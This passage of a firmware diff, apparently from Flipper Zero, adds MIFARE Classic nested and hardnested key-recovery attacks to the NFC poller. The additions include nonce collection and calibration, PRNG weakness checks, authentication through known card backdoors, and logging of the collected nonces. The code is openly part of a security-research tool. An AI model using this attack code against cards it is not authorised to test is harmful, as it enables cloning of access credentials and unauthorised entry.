Collect and log nonces + // TODO: Calibrates too frequently for static encrypted backdoored tags + if(dict_attack_ctx->nested_phase == MfClassicNestedPhaseCollectNtEnc) { + if(((is_weak) && (dict_attack_ctx->nested_nonce.count == 2)) || + ((is_weak) && (dict_attack_ctx->backdoor == MfClassicBackdoorAuth2) && + (dict_attack_ctx->nested_nonce.count == 1)) || + ((!(is_weak)) && (dict_attack_ctx->nested_nonce.count > 0))) { + instance->state = MfClassicPollerStateNestedLog; + return command; + } + uint16_t nonce_collect_key_max; + if(dict_attack_ctx->prng_type == MfClassicPrngTypeWeak) { + nonce_collect_key_max = dict_attack_ctx->static_encrypted ? + ((instance->sectors_total * 4) - 2) : + (instance->sectors_total * 4); + } else { + nonce_collect_key_max = instance->sectors_total * 2; + } + // Target all remaining sectors, key A and B + if(dict_attack_ctx->nested_target_key < nonce_collect_key_max) { + if((!(is_weak)) && found_all_nt_enc_msb(dict_attack_ctx)) { + if(is_valid_sum(dict_attack_ctx->msb_par_sum)) { + // All Hardnested nonces collected + dict_attack_ctx->nested_target_key++; + dict_attack_ctx->current_key_checked = false; + instance->state = MfClassicPollerStateNestedController; + } else { + // Nonces do not match an expected sum + dict_attack_ctx->attempt_count++; + instance->state = MfClassicPollerStateNestedCollectNtEnc; + } + dict_attack_ctx->msb_par_sum = 0; + memset(dict_attack_ctx->nt_enc_msb, 0, sizeof(dict_attack_ctx->nt_enc_msb)); + return command; + } + if(!(dict_attack_ctx->auth_passed)) { + dict_attack_ctx->attempt_count++; + } else { + if(is_weak && !(initial_collect_nt_enc_iter)) { + if(!(dict_attack_ctx->static_encrypted)) { + dict_attack_ctx->nested_target_key++; + } else { + dict_attack_ctx->nested_target_key += 2; + } + if(dict_attack_ctx->nested_target_key % 2 == 0) { + dict_attack_ctx->current_key_checked = false; + } + if((dict_attack_ctx->backdoor == MfClassicBackdoorAuth2) && + (dict_attack_ctx->nested_target_key % 4 == 0) && + (dict_attack_ctx->nested_target_key < nonce_collect_key_max)) { + dict_attack_ctx->calibrated = false; + } + } + dict_attack_ctx->attempt_count = 0; + } + dict_attack_ctx->auth_passed = true; + if(!(dict_attack_ctx->current_key_checked)) { + // Check if the nested target key is a known key + if(mf_classic_nested_is_target_key_found(instance, false)) { + // Continue to next key + if(!(is_weak)) { + dict_attack_ctx->nested_target_key++; + dict_attack_ctx->current_key_checked = false; + } + instance->state = MfClassicPollerStateNestedController; + return command; + } + dict_attack_ctx->current_key_checked = true; + } + if((is_weak && (dict_attack_ctx->attempt_count >= MF_CLASSIC_NESTED_RETRY_MAXIMUM)) || + (!(is_weak) && + (dict_attack_ctx->attempt_count >= MF_CLASSIC_NESTED_HARD_RETRY_MAXIMUM))) { + // Unpredictable, skip + FURI_LOG_E(TAG, "Failed to collect nonce, skipping key"); + if(dict_attack_ctx->nested_nonce.nonces) { + free(dict_attack_ctx->nested_nonce.nonces); + dict_attack_ctx->nested_nonce.nonces = NULL; + dict_attack_ctx->nested_nonce.count = 0; + } + if(is_weak) { + dict_attack_ctx->nested_target_key += 2; + dict_attack_ctx->current_key_checked = false; + } else { + dict_attack_ctx->msb_par_sum = 0; + memset(dict_attack_ctx->nt_enc_msb, 0, sizeof(dict_attack_ctx->nt_enc_msb)); + dict_attack_ctx->nested_target_key++; + dict_attack_ctx->current_key_checked = false; + } + dict_attack_ctx->attempt_count = 0; + } + dict_attack_ctx->auth_passed = false; + instance->state = MfClassicPollerStateNestedCollectNtEnc; + return command; + } + } + dict_attack_ctx->nested_phase = MfClassicNestedPhaseFinished; + instance->state = MfClassicPollerStateSuccess; + return command; +} + NfcCommand mf_classic_poller_handler_success(MfClassicPoller* instance) { NfcCommand command = NfcCommandContinue; instance->mfc_event.type = MfClassicPollerEventTypeSuccess; @@ -857,6 +2022,8 @@ static const MfClassicPollerReadHandler [MfClassicPollerStateWriteBlock] = mf_classic_poller_handler_write_block, [MfClassicPollerStateWriteValueBlock] = mf_classic_poller_handler_write_value_block, [MfClassicPollerStateNextSector] = mf_classic_poller_handler_next_sector, + [MfClassicPollerStateAnalyzeBackdoor] = mf_classic_poller_handler_analyze_backdoor, + [MfClassicPollerStateBackdoorReadSector] = mf_classic_poller_handler_backdoor_read_sector, [MfClassicPollerStateRequestKey] = mf_classic_poller_handler_request_key, [MfClassicPollerStateRequestReadSector] = mf_classic_poller_handler_request_read_sector, [MfClassicPollerStateReadSectorBlocks] = @@ -865,9 +2032,18 @@ static const MfClassicPollerReadHandler [MfClassicPollerStateAuthKeyB] = mf_classic_poller_handler_auth_b, [MfClassicPollerStateReadSector] = mf_classic_poller_handler_read_sector, [MfClassicPollerStateKeyReuseStart] = mf_classic_poller_handler_key_reuse_start, + [MfClassicPollerStateKeyReuseStartNoOffset] = + mf_classic_poller_handler_key_reuse_start_no_offset, [MfClassicPollerStateKeyReuseAuthKeyA] = mf_classic_poller_handler_key_reuse_auth_key_a, [MfClassicPollerStateKeyReuseAuthKeyB] = mf_classic_poller_handler_key_reuse_auth_key_b, [MfClassicPollerStateKeyReuseReadSector] = mf_classic_poller_handler_key_reuse_read_sector, + [MfClassicPollerStateNestedAnalyzePRNG] = mf_classic_poller_handler_nested_analyze_prng, + [MfClassicPollerStateNestedCalibrate] = mf_classic_poller_handler_nested_calibrate, + [MfClassicPollerStateNestedCollectNt] = mf_classic_poller_handler_nested_collect_nt, + [MfClassicPollerStateNestedController] = mf_classic_poller_handler_nested_controller, + [MfClassicPollerStateNestedCollectNtEnc] = mf_classic_poller_handler_nested_collect_nt_enc, + [MfClassicPollerStateNestedDictAttack] = mf_classic_poller_handler_nested_dict_attack, + [MfClassicPollerStateNestedLog] = mf_classic_poller_handler_nested_log, [MfClassicPollerStateSuccess] = mf_classic_poller_handler_success, [MfClassicPollerStateFail] = mf_classic_poller_handler_fail, }; diff --git a/lib/nfc/protocols/mf_classic/mf_classic_poller.h b/lib/nfc/protocols/mf_classic/mf_classic_poller.h index 518d029d0..0501de21e 100644 --- a/lib/nfc/protocols/mf_classic/mf_classic_poller.h +++ b/lib/nfc/protocols/mf_classic/mf_classic_poller.h @@ -77,6 +77,9 @@ typedef struct { uint8_t sectors_read; /**< Number of sectors read. */ uint8_t keys_found; /**< Number of keys found. */ uint8_t current_sector; /**< Current sector number. */ + uint8_t nested_phase; /**< Nested attack phase. */ + uint8_t prng_type; /**< PRNG (weak or hard). */ + uint8_t backdoor; /**< Backdoor type. */ } MfClassicPollerEventDataUpdate; /** @@ -170,13 +173,15 @@ typedef struct { * @param[in] block_num block number for authentication. * @param[in] key_type key type to be used for authentication. * @param[out] nt pointer to the MfClassicNt structure to be filled with nonce data. + * @param[in] backdoor_auth flag indicating if backdoor authentication is used. * @return MfClassicErrorNone on success, an error code on failure. */ MfClassicError mf_classic_poller_get_nt( MfClassicPoller* instance, uint8_t block_num, MfClassicKeyType key_type, - MfClassicNt* nt); + MfClassicNt* nt, + bool backdoor_auth); /** * @brief Collect tag nonce during nested authentication. @@ -189,13 +194,15 @@ MfClassicError mf_classic_poller_get_nt( * @param[in] block_num block number for authentication. * @param[in] key_type key type to be used for authentication. * @param[out] nt pointer to the MfClassicNt structure to be filled with nonce data. + * @param[in] backdoor_auth flag indicating if backdoor authentication is used. * @return MfClassicErrorNone on success, an error code on failure. */ MfClassicError mf_classic_poller_get_nt_nested( MfClassicPoller* instance, uint8_t block_num, MfClassicKeyType key_type, - MfClassicNt* nt); + MfClassicNt* nt, + bool backdoor_auth); /** * @brief Perform authentication. @@ -210,6 +217,7 @@ MfClassicError mf_classic_poller_get_nt_nested( * @param[in] key key to be used for authentication. * @param[in] key_type key type to be used for authentication. * @param[out] data pointer to MfClassicAuthContext structure to be filled with authentication data. + * @param[in] backdoor_auth flag indicating if backdoor authentication is used. * @return MfClassicErrorNone on success, an error code on failure. */ MfClassicError mf_classic_poller_auth( @@ -217,20 +225,23 @@ MfClassicError mf_classic_poller_auth( uint8_t block_num, MfClassicKey* key, MfClassicKeyType key_type, - MfClassicAuthContext* data); + MfClassicAuthContext* data, + bool backdoor_auth); /** * @brief Perform nested authentication. * * Must ONLY be used inside the callback function. * - * Perform nested authentication as specified in Mf Classic protocol. + * Perform nested authentication as specified in Mf Classic protocol. * * @param[in, out] instance pointer to the instance to be used in the transaction. * @param[in] block_num block number for authentication. * @param[in] key key to be used for authentication. * @param[in] key_type key type to be used for authentication. * @param[out] data pointer to MfClassicAuthContext structure to be filled with authentication data. + * @param[in] backdoor_auth flag indicating if backdoor authentication is used. + * @param[in] early_ret return immediately after receiving encrypted nonce. * @return MfClassicErrorNone on success, an error code on failure. */ MfClassicError mf_classic_poller_auth_nested( @@ -238,7 +249,9 @@ MfClassicError mf_classic_poller_auth_nested( uint8_t block_num, MfClassicKey* key, MfClassicKeyType key_type, - MfClassicAuthContext* data); + MfClassicAuthContext* data, + bool backdoor_auth, + bool early_ret); /** * @brief Halt the tag. diff --git a/lib/nfc/protocols/mf_classic/mf_classic_poller_i.c b/lib/nfc/protocols/mf_classic/mf_classic_poller_i.c index 949ef8e66..aac05748f 100644 --- a/lib/nfc/protocols/mf_classic/mf_classic_poller_i.c +++ b/lib/nfc/protocols/mf_classic/mf_classic_poller_i.c @@ -38,13 +38,20 @@ static MfClassicError mf_classic_poller_get_nt_common( uint8_t block_num, MfClassicKeyType key_type, MfClassicNt* nt, - bool is_nested) { + bool is_nested, + bool backdoor_auth) { MfClassicError ret = MfClassicErrorNone; Iso14443_3aError error = Iso14443_3aErrorNone; do { - uint8_t auth_type = (key_type == MfClassicKeyTypeB) ? MF_CLASSIC_CMD_AUTH_KEY_B : - MF_CLASSIC_CMD_AUTH_KEY_A; + uint8_t auth_type; + if(!backdoor_auth) { + auth_type = (key_type == MfClassicKeyTypeB) ? MF_CLASSIC_CMD_AUTH_KEY_B : + MF_CLASSIC_CMD_AUTH_KEY_A; + } else { + auth_type = (key_type == MfClassicKeyTypeB) ? MF_CLASSIC_CMD_BACKDOOR_AUTH_KEY_B : + MF_CLASSIC_CMD_BACKDOOR_AUTH_KEY_A; + } uint8_t auth_cmd[2] = {auth_type, block_num}; bit_buffer_copy_bytes(instance->tx_plain_buffer, auth_cmd, sizeof(auth_cmd)); @@ -89,29 +96,34 @@ MfClassicError mf_classic_poller_get_nt( MfClassicPoller* instance, uint8_t block_num, MfClassicKeyType key_type, - MfClassicNt* nt) { + MfClassicNt* nt, + bool backdoor_auth) { furi_check(instance); - return mf_classic_poller_get_nt_common(instance, block_num, key_type, nt, false); + return mf_classic_poller_get_nt_common( + instance, block_num, key_type, nt, false, backdoor_auth); } MfClassicError mf_classic_poller_get_nt_nested( MfClassicPoller* instance, uint8_t block_num, MfClassicKeyType key_type, - MfClassicNt* nt) { + MfClassicNt* nt, + bool backdoor_auth) { furi_check(instance); - return mf_classic_poller_get_nt_common(instance, block_num, key_type, nt, true); + return mf_classic_poller_get_nt_common(instance, block_num, key_type, nt, true, backdoor_auth); } -static MfClassicError mf_classic_poller_auth_common( +MfClassicError mf_classic_poller_auth_common( MfClassicPoller* instance, uint8_t block_num, MfClassicKey* key, MfClassicKeyType key_type, MfClassicAuthContext* data, - bool is_nested) { + bool is_nested, + bool backdoor_auth, + bool early_ret) { MfClassicError ret = MfClassicErrorNone; Iso14443_3aError error = Iso14443_3aErrorNone; @@ -122,14 +134,16 @@ static MfClassicError mf_classic_poller_auth_common( MfClassicNt nt = {}; if(is_nested) { - ret = mf_classic_poller_get_nt_nested(instance, block_num, key_type, &nt); + ret = + mf_classic_poller_get_nt_nested(instance, block_num, key_type, &nt, backdoor_auth); } else { - ret = mf_classic_poller_get_nt(instance, block_num, key_type, &nt); + ret = mf_classic_poller_get_nt(instance, block_num, key_type, &nt, backdoor_auth); } if(ret != MfClassicErrorNone) break; if(data) { data->nt = nt; } + if(early_ret) break; uint32_t cuid = iso14443_3a_get_cuid(instance->data->iso14443_3a_data); uint64_t key_num = bit_lib_bytes_to_num_be(key->data, sizeof(MfClassicKey)); @@ -182,10 +196,12 @@ MfClassicError mf_classic_poller_auth( uint8_t block_num, MfClassicKey* key, MfClassicKeyType key_type, - MfClassicAuthContext* data) { + MfClassicAuthContext* data, + bool backdoor_auth) { furi_check(instance); furi_check(key); - return mf_classic_poller_auth_common(instance, block_num, key, key_type, data, false); + return mf_classic_poller_auth_common( + instance, block_num, key, key_type, data, false, backdoor_auth, false); } MfClassicError mf_classic_poller_auth_nested( @@ -193,10 +209,13 @@ MfClassicError mf_classic_poller_auth_nested( uint8_t block_num, MfClassicKey* key, MfClassicKeyType key_type, - MfClassicAuthContext* data) { + MfClassicAuthContext* data, + bool backdoor_auth, + bool early_ret) { furi_check(instance); furi_check(key); - return mf_classic_poller_auth_common(instance, block_num, key, key_type, data, true); + return mf_classic_poller_auth_common( + instance, block_num, key, key_type, data, true, backdoor_auth, early_ret); } MfClassicError mf_classic_poller_halt(MfClassicPoller* instance) { diff --git a/lib/nfc/protocols/mf_classic/mf_classic_poller_i.h b/lib/nfc/protocols/mf_classic/mf_classic_poller_i.h index 14a7c61fd..e17e13d13 100644 --- a/lib/nfc/protocols/mf_classic/mf_classic_poller_i.h +++ b/lib/nfc/protocols/mf_classic/mf_classic_poller_i.h @@ -3,13 +3,39 @@ #include "mf_classic_poller.h" #include #include +#include "nfc/helpers/iso14443_crc.h" #include +#include +#include +#include "keys_dict.h" +#include "helpers/nfc_util.h" #ifdef __cplusplus extern "C" { #endif -#define MF_CLASSIC_FWT_FC (60000) +#define MF_CLASSIC_FWT_FC (60000) +#define NFC_FOLDER EXT_PATH("nfc") +#define NFC_ASSETS_FOLDER EXT_PATH("nfc/assets") +#define MF_CLASSIC_NESTED_ANALYZE_NT_COUNT (5) +#define MF_CLASSIC_NESTED_NT_HARD_MINIMUM (3) +#define MF_CLASSIC_NESTED_RETRY_MAXIMUM (60) +#define MF_CLASSIC_NESTED_HARD_RETRY_MAXIMUM (3) +#define MF_CLASSIC_NESTED_CALIBRATION_COUNT (21) +#define MF_CLASSIC_NESTED_LOGS_FILE_NAME ".nested.log" +#define MF_CLASSIC_NESTED_SYSTEM_DICT_FILE_NAME "mf_classic_dict_nested.nfc" +#define MF_CLASSIC_NESTED_USER_DICT_FILE_NAME "mf_classic_dict_user_nested.nfc" +#define MF_CLASSIC_NESTED_LOGS_FILE_PATH (NFC_FOLDER "/" MF_CLASSIC_NESTED_LOGS_FILE_NAME) +#define MF_CLASSIC_NESTED_SYSTEM_DICT_PATH \ + (NFC_ASSETS_FOLDER "/" MF_CLASSIC_NESTED_SYSTEM_DICT_FILE_NAME) +#define MF_CLASSIC_NESTED_USER_DICT_PATH \ + (NFC_ASSETS_FOLDER "/" MF_CLASSIC_NESTED_USER_DICT_FILE_NAME) +#define SET_PACKED_BIT(arr, bit) ((arr)[(bit) / 8] |= (1 << ((bit) % 8))) +#define GET_PACKED_BIT(arr, bit) ((arr)[(bit) / 8] & (1 << ((bit) % 8))) + +extern const MfClassicKey auth1_backdoor_key; +extern const MfClassicKey auth2_backdoor_key; +extern const uint16_t valid_sums[19]; typedef enum { MfClassicAuthStateIdle, @@ -21,6 +47,44 @@ typedef enum { MfClassicCardStateLost, } MfClassicCardState; +typedef enum { + MfClassicNestedPhaseNone, + MfClassicNestedPhaseAnalyzePRNG, + MfClassicNestedPhaseDictAttack, + MfClassicNestedPhaseDictAttackResume, + MfClassicNestedPhaseCalibrate, + MfClassicNestedPhaseCollectNtEnc, + MfClassicNestedPhaseFinished, +} MfClassicNestedPhase; + +typedef enum { + MfClassicPrngTypeUnknown, // Tag not yet tested + MfClassicPrngTypeNoTag, // No tag detected during test + MfClassicPrngTypeWeak, // Weak PRNG, standard Nested + MfClassicPrngTypeHard, // Hard PRNG, Hardnested +} MfClassicPrngType; + +typedef enum { + MfClassicBackdoorUnknown, // Tag not yet tested + MfClassicBackdoorNone, // No observed backdoor + MfClassicBackdoorAuth1, // Tag responds to v1 auth backdoor + MfClassicBackdoorAuth2, // Tag responds to v2 auth backdoor (static encrypted nonce) +} MfClassicBackdoor; + +typedef struct { + uint32_t cuid; // Card UID + uint8_t key_idx; // Key index + uint32_t nt; // Nonce + uint32_t nt_enc; // Encrypted nonce + uint8_t par; // Parity + uint16_t dist; // Distance +} MfClassicNestedNonce; + +typedef struct { + MfClassicNestedNonce* nonces; + size_t count; +} MfClassicNestedNonceArray; + typedef enum { MfClassicPollerStateDetectType, MfClassicPollerStateStart, @@ -38,17 +102,29 @@ typedef enum { // Dict attack states MfClassicPollerStateNextSector, + MfClassicPollerStateAnalyzeBackdoor, + MfClassicPollerStateBackdoorReadSector, MfClassicPollerStateRequestKey, MfClassicPollerStateReadSector, MfClassicPollerStateAuthKeyA, MfClassicPollerStateAuthKeyB, MfClassicPollerStateKeyReuseStart, + MfClassicPollerStateKeyReuseStartNoOffset, MfClassicPollerStateKeyReuseAuthKeyA, MfClassicPollerStateKeyReuseAuthKeyB, MfClassicPollerStateKeyReuseReadSector, MfClassicPollerStateSuccess, MfClassicPollerStateFail, + // Enhanced dictionary attack states + MfClassicPollerStateNestedAnalyzePRNG, + MfClassicPollerStateNestedCalibrate, + MfClassicPollerStateNestedCollectNt, + MfClassicPollerStateNestedController, + MfClassicPollerStateNestedCollectNtEnc, + MfClassicPollerStateNestedDictAttack, + MfClassicPollerStateNestedLog, + MfClassicPollerStateNum, } MfClassicPollerState; @@ -70,6 +146,28 @@ typedef struct { bool auth_passed; uint16_t current_block; uint8_t reuse_key_sector; + MfClassicBackdoor backdoor; + // Enhanced dictionary attack and nested nonce collection + MfClassicNestedPhase nested_phase; + MfClassicKey nested_known_key; + MfClassicKeyType nested_known_key_type; + bool current_key_checked; + uint8_t nested_known_key_sector; + uint16_t nested_target_key; + MfClassicNestedNonceArray nested_nonce; + MfClassicPrngType prng_type; + bool static_encrypted; + uint32_t static_encrypted_nonce; + bool calibrated; + uint16_t d_min; + uint16_t d_max; + uint8_t attempt_count; + KeysDict* mf_classic_system_dict; + KeysDict* mf_classic_user_dict; + // Hardnested + uint8_t nt_enc_msb + [32]; // Bit-packed array to track which unique most significant bytes have been seen (256 bits = 32 bytes) + uint16_t msb_par_sum; // Sum of parity bits for each unique most significant byte } MfClassicPollerDictAttackContext; typedef struct { diff --git a/lib/nfc/protocols/mf_classic/mf_classic_poller_sync.c b/lib/nfc/protocols/mf_classic/mf_classic_poller_sync.c index cc6bc0908..13b51786f 100644 --- a/lib/nfc/protocols/mf_classic/mf_classic_poller_sync.c +++ b/lib/nfc/protocols/mf_classic/mf_classic_poller_sync.c @@ -37,7 +37,8 @@ static MfClassicError mf_classic_poller_collect_nt_handler( poller, data->collect_nt_context.block, data->collect_nt_context.key_type, - &data->collect_nt_context.nt); + &data->collect_nt_context.nt, + false); } static MfClassicError @@ -47,7 +48,8 @@ static MfClassicError data->auth_context.block_num, &data->auth_context.key, data->auth_context.key_type, - &data->auth_context); + &data->auth_context, + false); } static MfClassicError mf_classic_poller_read_block_handler( @@ -61,7 +63,8 @@ static MfClassicError mf_classic_poller_read_block_handler( data->read_block_context.block_num, &data->read_block_context.key, data->read_block_context.key_type, - NULL); + NULL, + false); if(error != MfClassicErrorNone) break; error = mf_classic_poller_read_block( @@ -87,7 +90,8 @@ static MfClassicError mf_classic_poller_write_block_handler( data->read_block_context.block_num, &data->read_block_context.key, data->read_block_context.key_type, - NULL); + NULL, + false); if(error != MfClassicErrorNone) break; error = mf_classic_poller_write_block( @@ -113,7 +117,8 @@ static MfClassicError mf_classic_poller_read_value_handler( data->read_value_context.block_num, &data->read_value_context.key, data->read_value_context.key_type, - NULL); + NULL, + false); if(error != MfClassicErrorNone) break; MfClassicBlock block = {}; @@ -144,7 +149,8 @@ static MfClassicError mf_classic_poller_change_value_handler( data->change_value_context.block_num, &data->change_value_context.key, data->change_value_context.key_type, - NULL); + NULL, + false); if(error != MfClassicErrorNone) break; error = mf_classic_poller_value_cmd( diff --git a/lib/toolbox/bit_buffer.c b/lib/toolbox/bit_buffer.c index 85a52e79d..e261e80d4 100644 --- a/lib/toolbox/bit_buffer.c +++ b/lib/toolbox/bit_buffer.c @@ -113,7 +113,7 @@ void bit_buffer_copy_bytes_with_parity(BitBuffer* buf, const uint8_t* data, size uint8_t bit = FURI_BIT(data[bits_processed / BITS_IN_BYTE + 1], bits_processed % BITS_IN_BYTE); - if(bits_processed % BITS_IN_BYTE) { + if((bits_processed % BITS_IN_BYTE) == 0) { buf->parity[curr_byte / BITS_IN_BYTE] = bit; } else { buf->parity[curr_byte / BITS_IN_BYTE] |= bit << (bits_processed % BITS_IN_BYTE); diff --git a/targets/f7/api_symbols.csv b/targets/f7/api_symbols.csv index ba401bcda..54b61985a 100644 --- a/targets/f7/api_symbols.csv +++ b/targets/f7/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,72.1,, +Version,+,73.0,, Header,+,applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h,, Header,+,applications/main/archive/helpers/archive_helpers_ext.h,, Header,+,applications/main/subghz/subghz_fap.h,, @@ -921,6 +921,7 @@ Function,+,datetime_get_days_per_year,uint16_t,uint16_t Function,+,datetime_is_leap_year,_Bool,uint16_t Function,+,datetime_timestamp_to_datetime,void,"uint32_t, DateTime*" Function,+,datetime_validate_datetime,_Bool,DateTime* +Function,+,decrypt_nt_enc,uint32_t,"uint32_t, uint32_t, MfClassicKey" Function,+,dialog_ex_alloc,DialogEx*, Function,+,dialog_ex_disable_extended_events,void,DialogEx* Function,+,dialog_ex_enable_extended_events,void,DialogEx* @@ -2103,6 +2104,7 @@ Function,-,initstate,char*,"unsigned, char*, size_t" Function,+,input_get_key_name,const char*,InputKey Function,+,input_get_type_name,const char*,InputType Function,-,iprintf,int,"const char*, ..." +Function,+,is_weak_prng_nonce,_Bool,uint32_t Function,-,isalnum,int,int Function,-,isalnum_l,int,"int, locale_t" Function,-,isalpha,int,int @@ -2288,6 +2290,7 @@ Function,+,lfrfid_worker_stop,void,LFRFIDWorker* Function,+,lfrfid_worker_stop_thread,void,LFRFIDWorker* Function,+,lfrfid_worker_write_and_set_pass_start,void,"LFRFIDWorker*, LFRFIDProtocol, LFRFIDWorkerWriteCallback, void*" Function,+,lfrfid_worker_write_start,void,"LFRFIDWorker*, LFRFIDProtocol, LFRFIDWorkerWriteCallback, void*" +Function,+,lfsr_rollback_word,uint32_t,"Crypto1*, uint32_t, int" Function,-,lgamma,double,double Function,-,lgamma_r,double,"double, int*" Function,-,lgammaf,float,float @@ -2584,10 +2587,10 @@ Function,+,mf_classic_is_sector_read,_Bool,"const MfClassicData*, uint8_t" Function,+,mf_classic_is_sector_trailer,_Bool,uint8_t Function,+,mf_classic_is_value_block,_Bool,"MfClassicSectorTrailer*, uint8_t" Function,+,mf_classic_load,_Bool,"MfClassicData*, FlipperFormat*, uint32_t" -Function,+,mf_classic_poller_auth,MfClassicError,"MfClassicPoller*, uint8_t, MfClassicKey*, MfClassicKeyType, MfClassicAuthContext*" -Function,+,mf_classic_poller_auth_nested,MfClassicError,"MfClassicPoller*, uint8_t, MfClassicKey*, MfClassicKeyType, MfClassicAuthContext*" -Function,+,mf_classic_poller_get_nt,MfClassicError,"MfClassicPoller*, uint8_t, MfClassicKeyType, MfClassicNt*" -Function,+,mf_classic_poller_get_nt_nested,MfClassicError,"MfClassicPoller*, uint8_t, MfClassicKeyType, MfClassicNt*" +Function,+,mf_classic_poller_auth,MfClassicError,"MfClassicPoller*, uint8_t, MfClassicKey*, MfClassicKeyType, MfClassicAuthContext*, _Bool" +Function,+,mf_classic_poller_auth_nested,MfClassicError,"MfClassicPoller*, uint8_t, MfClassicKey*, MfClassicKeyType, MfClassicAuthContext*, _Bool, _Bool" +Function,+,mf_classic_poller_get_nt,MfClassicError,"MfClassicPoller*, uint8_t, MfClassicKeyType, MfClassicNt*, _Bool" +Function,+,mf_classic_poller_get_nt_nested,MfClassicError,"MfClassicPoller*, uint8_t, MfClassicKeyType, MfClassicNt*, _Bool" Function,+,mf_classic_poller_halt,MfClassicError,MfClassicPoller* Function,+,mf_classic_poller_read_block,MfClassicError,"MfClassicPoller*, uint8_t, MfClassicBlock*" Function,+,mf_classic_poller_send_custom_parity_frame,MfClassicError,"MfClassicPoller*, const BitBuffer*, BitBuffer*, uint32_t" @@ -2888,8 +2891,10 @@ Function,+,nfc_set_mask_receive_time_fc,void,"Nfc*, uint32_t" Function,+,nfc_start,void,"Nfc*, NfcEventCallback, void*" Function,+,nfc_stop,void,Nfc* Function,+,nfc_util_even_parity32,uint8_t,uint32_t +Function,+,nfc_util_even_parity8,uint8_t,uint8_t Function,+,nfc_util_odd_parity,void,"const uint8_t*, uint8_t*, uint8_t" Function,+,nfc_util_odd_parity8,uint8_t,uint8_t +Function,+,nonce_matches_encrypted_parity_bits,_Bool,"uint32_t, uint32_t, uint8_t" Function,+,notification_internal_message,void,"NotificationApp*, const NotificationSequence*" Function,+,notification_internal_message_block,void,"NotificationApp*, const NotificationSequence*" Function,+,notification_message,void,"NotificationApp*, const NotificationSequence*"